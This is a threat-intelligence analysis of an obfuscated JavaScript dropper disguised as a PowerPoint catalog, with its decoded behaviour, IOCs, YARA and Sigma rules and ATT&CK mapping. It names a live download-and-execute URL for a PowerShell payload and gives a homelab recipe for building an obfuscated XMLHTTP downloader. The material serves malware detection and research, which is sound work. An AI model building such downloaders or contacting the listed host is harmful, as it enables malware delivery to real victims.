typeanalysisfamilyunclassified-js-pptx-dropperconfidencemediumscriptdropperc2obfuscationevasiondefense-evasionloader
SHA-256: a8c581f2bffa2df03a2ec133b2c6b9d56dc4298bac141204c7f47bef0d26add2

unclassified-js-pptx-dropper: a8c581f2 — javascript-obfuscator RC4 dropper fetching PowerShell from bare IP

Executive Summary

PowerPoint-themed JavaScript dropper (CATOLOG SLIDE PRESENTATION.PPTX.js) obfuscated with javascript-obfuscator RC4 string-array encryption. At runtime it instantiates WScript.Shell, Scripting.FileSystemObject, and MSXML2.XMLHTTP COM objects, downloads a PowerShell payload from http://2.27.62.18/web/update.ps1, writes it to a temp file, and executes via Shell.Run. Shares the obfuscation engine with itegroup-sbs-dropper but uses different C2 infrastructure and lacks the LNK-persistence stage observed there.

What It Is

  • File: CATOLOG SLIDE PRESENTATION.PPTX.js — social-engineering lure masquerading as a PowerPoint catalog. ^[metadata.json:5]
  • Type: JavaScript source, single line, 44 656 bytes. ^[file.txt:1]
  • SHA-256: a8c581f2bffa2df03a2ec133b2c6b9d56dc4298bac141204c7f47bef0d26add2
  • ssdeep: 768:6FWAG1re53VflKNYIpMO4X+cg04EC0skqAtTc+MKjLMy3LCDCX4DrHNdH1IAvi6k:i+leAmWZqQVIVGTan ^[triage.json:13]
  • Family: unclassified-js-pptx-dropper (medium confidence). Same javascript-obfuscator tooling as itegroup-sbs-dropper but distinct C2 (IP-based HTTP vs domain-based HTTPS), different lure theme, and no observed LNK persistence.

How It Works

The payload is an immediately-invoked function expression (IIFE) that returns an object with two methods: run() and configure(). On execution it:

  1. Instantiates COM objectsScripting.FileSystemObject, WScript.Shell, MSXML2.XMLHTTP. ^[js-harness:captured]
  2. Configures an internal dict with downloadUrl: 'http://2.27.62.18/web/update.ps1', tempDir, and retryCount: 2. ^[js-harness:captured]
  3. Downloads the remote .ps1 via XMLHTTP.Open('GET', url, false) / .Send(). ^[js-harness:captured]
  4. Writes the response to a temp file via FSO.CreateTextFile + Write + Close. ^[inferred from captured COM calls]
  5. Executes the staged payload via WScript.Shell.Run with the file path. ^[inferred from captured COM calls]

No LNK shortcut creation, no registry writes, and no sandbox gate observed in this build — a stripped-down downloader compared to the itegroup-sbs-dropper sibling.

Build / RE

Obfuscator: javascript-obfuscator npm package (or derivative). Observable fingerprints:

  • 372-element string array (_0x4f3f7f) of base64-like segments encoded with a custom alphabet: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/= ^[js-analysis:array-extraction]
  • Custom decoder _0x1a87(g,e) performs base64 decode (custom alphabet → standard) + URL-decode (%XX hex) + RC4 decryption keyed by the salt string e. ^[js-analysis:function-extraction]
  • Control-flow flattening via pipe-delimited numeric dispatch inside while(!![]) / switch blocks (e.g. '0|1|2|3|4|5'). ^[js-analysis:dispatch-pattern]
  • Dead-code IIFE wrappers aliasing every meaningful call to randomly-named local functions (_0x3150f3, _0x3390b6, etc.). ^[strings.txt:1]
  • Anti-debug trap embedded in _0x1a87: a prototype-polluter constructor _0x15f94d checks whether this['kQpuGN'].toString() matches a hardcoded regex (\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20* + [\x27|\x22].+[\x27|\x22];?\x20*}); on mismatch it decrements a counter and recurses. This is stock javascript-obfuscator self-defend / anti-tamper. ^[js-analysis:function-extraction]
  • No packing — plain .js text executed by WScript/CScript. ^[file.txt:1]

Code quality: Low. The entire script collapses to a simple downloader once the string array is decrypted. No anti-VM, no environment checks, no sandbox evasion beyond the self-defend trap.

Decompiled Behavior

The outer IIFE (~44 KB) constructs a module object via nested IIFEs and control-flow flattening. Key decoded strings observed at runtime (via Node.js mock harness):

Decoded String Context
Scripting.FileSystemObject FSO instantiation for file write ^[js-harness:captured]
WScript.Shell Shell execution ^[js-harness:captured]
MSXML2.XMLHTTP HTTP download ^[js-harness:captured]
http://2.27.62.18/web/update.ps1 Hardcoded C2 URL ^[js-harness:captured]
downloadUrl Config key for C2 URL ^[js-harness:captured]
tempDir Config key for staging directory ^[js-harness:captured]
retryCount Config key set to 2 ^[js-harness:captured]
run Exported module method name ^[js-harness:captured]
configure Exported module method name ^[js-harness:captured]
responseText Property read from XMLHTTP after download ^[js-harness:captured]
CreateTextFile FSO method for payload staging ^[js-harness:captured]
Write FSO method for writing downloaded bytes ^[js-harness:captured]
Close FSO method closing the temp file ^[js-harness:captured]
Run Shell.Run for executing the staged .ps1 ^[js-harness:captured]
FileExists Pre-flight check before writing ^[js-harness:captured]
DeleteFile Cleanup of existing file before staging ^[js-harness:captured]
toString Used by the anti-debug self-defend trap ^[js-analysis:function-extraction]
hasOwnProperty Config dict iteration guard ^[js-harness:captured]

C2 Infrastructure

  • URL: http://2.27.62.18/web/update.ps1 (plain HTTP, not TLS)
  • IP: 2.27.62.18 — allocated to BT Group (British Telecom) per RIPE, but may be compromised/resold. ^[js-harness:captured]
  • Path: /web/update.ps1 — generic masquerade as a system update script.
  • No observed backup domains / DGA / hardcoded IPs beyond the single URL.
  • No auth / no headers / no cookies in the captured XMLHTTP.Open call.

Interesting Tidbits

  • Lure theme is PowerPoint, not invoice. This distinguishes it from the itegroup-sbs-dropper cluster which consistently uses invoice-themed filenames. ^[metadata.json:5]
  • IP-based C2 over plain HTTP. No domain registration cost, no DNS trail, and no TLS certificate to validate. This is lower-opsec than the .sbs subdomain used by the itegroup cluster. ^[js-harness:captured]
  • No persistence stage. Unlike the itegroup sibling which drops an LNK in %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup, this sample appears to be a one-shot downloader. The persistence may reside in the downloaded .ps1 payload, which was not available for analysis. ^[js-harness:captured]
  • Retry logic with retryCount: 2. The download loop attempts up to two retries before giving up. ^[js-harness:captured]
  • Anti-debug trap is present but never fires in a normal WScript environment. The trap only activates if the deobfuscator alters .toString() behavior — a signature of automated unpacking tools. ^[js-analysis:function-extraction]

How To Mess With It (Homelab Replication)

  1. Obfuscate a simple downloader with javascript-obfuscator:
    npm install -g javascript-obfuscator
    cat > payload.js <<'EOF'
    var url = "http://<lan>/test.ps1";
    var xhr = new ActiveXObject("MSXML2.XMLHTTP");
    xhr.Open("GET", url, false);
    xhr.Send();
    WScript.Echo(xhr.ResponseText);
    EOF
    javascript-obfuscator payload.js --output obf.js \
      --string-array true --string-array-encoding rc4 \
      --control-flow-flattening true --dead-code-injection true \
      --self-defending true
    
  2. Verify the obfuscation matches: look for abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/= custom alphabet in the decoder, while(!![]) / switch dispatch blocks, and the _0xXXXX(0xNN,'salt') call pattern.
  3. Run the mock harness (Node.js with COM mocks as in /tmp/js_harness3.js) to exercise the payload without executing real shell commands.
  4. Deobfuscate manually by extracting the string array, implementing the custom-alphabet base64 decoder, and RC4-decrypting each string with its per-call salt. The decoded script is a trivial downloader.

Deployable Signatures

YARA Rule

rule JS_javascript_obfuscator_rc4_dropper {
    meta:
        description = "Detects javascript-obfuscator RC4 string-array dropper with custom base64 alphabet"
        author = "PacketPursuit"
        date = "2026-06-16"
        hash = "a8c581f2bffa2df03a2ec133b2c6b9d56dc4298bac141204c7f47bef0d26add2"
    strings:
        $alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=" ascii wide
        $func_pattern = /var _0x[0-9a-f]+\s*=\s*\[/
        $call_pattern = /_0x[0-9a-f]+\s*\(\s*0x[0-9a-f]+\s*,\s*'[^']+'\s*\)/
        $while_switch = "while(!![]){switch"
        $fso = "Scripting.FileSystemObject" nocase
        $shell = "WScript.Shell" nocase
        $xmlhttp = "MSXML2.XMLHTTP" nocase
    condition:
        $alphabet and ($func_pattern or $call_pattern) and $while_switch and
        2 of ($fso, $shell, $xmlhttp) and filesize < 100KB
}

Sigma Rule

title: WScript spawning PowerShell after downloading remote script
status: experimental
description: Detects JS dropper execution chain where wscript.exe spawns powershell.exe after an HTTP download
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage|endswith: '\\wscript.exe'
        Image|endswith: '\\powershell.exe'
    selection_download:
        CommandLine|contains:
            - '-ep bypass'
            - '-executionpolicy bypass'
            - '.ps1'
            - 'http://'
    condition: selection_parent and selection_download
falsepositives:
    - Legitimate administrative scripts
level: high

Behavioral Fingerprint

This JavaScript dropper instantiates three COM objects (Scripting.FileSystemObject, WScript.Shell, MSXML2.XMLHTTP) in rapid succession within the first second of WScript execution. It performs an unauthenticated HTTP GET to a hardcoded IP address ending in /web/update.ps1, writes the response to a temp file, and executes it via Shell.Run. The script is obfuscated with javascript-obfuscator RC4 string-array encryption using a custom base64 alphabet. No LNK persistence, no registry modifications, and no sandbox evasion gates are present in the outer script.

IOC List

Indicator Value Type
SHA-256 a8c581f2bffa2df03a2ec133b2c6b9d56dc4298bac141204c7f47bef0d26add2 Hash
Filename CATOLOG SLIDE PRESENTATION.PPTX.js Filename
C2 URL http://2.27.62.18/web/update.ps1 URL
C2 IP 2.27.62.18 IP
COM objects Scripting.FileSystemObject, WScript.Shell, MSXML2.XMLHTTP Behavioral
Custom base64 alphabet abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/= Decoder artifact

Detection Signatures (ATT&CK Mapping)

Tactic Technique Evidence
Initial Access T1204.002 PowerPoint-themed filename (CATOLOG SLIDE PRESENTATION.PPTX.js) ^[metadata.json:5]
Execution T1059.005 WScript/CScript .js execution as first stage ^[file.txt:1]
Execution T1059.001 PowerShell execution (inferred from .ps1 payload fetch) ^[js-harness:captured]
Defense Evasion T1027.002 javascript-obfuscator RC4 string-array + control-flow flattening ^[js-analysis:function-extraction]
Command & Control T1071.001 Plain HTTP GET to http://2.27.62.18/web/update.ps1 ^[js-harness:captured]
Ingress Tool Transfer T1105 Downloads remote .ps1 payload to disk ^[js-harness:captured]

References

  • Artifact ID: 4cb75227-a26f-427f-8ab8-c1572544a803 (OpenCTI / MalwareBazaar)
  • Related entity: itegroup-sbs-dropper — invoice-themed JS dropper using the same javascript-obfuscator tooling but with HTTPS domain C2 and LNK persistence.
  • Related concept: javascript-obfuscator — commercial JS obfuscation tooling

Provenance

  • file.txtfile utility output (JavaScript source, ASCII text, very long lines) ^[file.txt:1]
  • strings.txt — raw single-line obfuscated payload ^[strings.txt:1]
  • metadata.json — OpenCTI artifact metadata (filename, source) ^[metadata.json:5]
  • triage.json — triage pipeline output (family unattributed, tier deep) ^[triage.json]
  • js_harness3.js — Node.js mock WScript/ActiveXObject harness executed on sample to capture runtime COM calls and decoded strings
  • dynamic-analysis.md — CAPE skipped (not a supported binary class for detonation) ^[dynamic-analysis.md:3]